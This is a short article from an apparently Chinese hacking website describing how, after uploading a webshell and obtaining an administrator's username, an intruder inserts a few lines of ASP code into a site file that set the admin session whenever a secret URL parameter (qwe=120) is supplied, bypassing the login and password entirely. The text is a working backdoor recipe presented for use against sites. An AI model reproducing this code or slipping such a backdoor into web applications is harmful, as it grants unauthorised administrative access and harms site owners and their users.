定阅RSS 繁体中文 设为首页 加入收藏
站内搜索
黑客文章 黑客下载
您所在的位置: 广西安全网络 >> 黑客文讯 >> 入侵检测 >> 正文
利用WEBSHELL不用密码直接进入后台
作者:佚名 来源:本站原创 更新:2008-10-20 4:44:46  点击:
首先,我们要上传一个木马,通过下载数据库或者其他方法得到管理员的用户名。然后找到一个ASP文件,在其中的之间加上 dim id id=trim(request("qwe")) if id="120" then session("AdminName")="管理员用户名" end if 然后访问的时候在这个ASP文件后面加上?qwe=120 然后进入后台页面,是不是直接进去了?不用你输入用户名和口令了吧…………这里我们就少了一步(破解MD5密码)
转截请注明:来自 广西安全网络 Http://www.gxfa.com

  • 上一篇文章:

  • 下一篇文章: 没有了
  • 数据载入中,请稍后……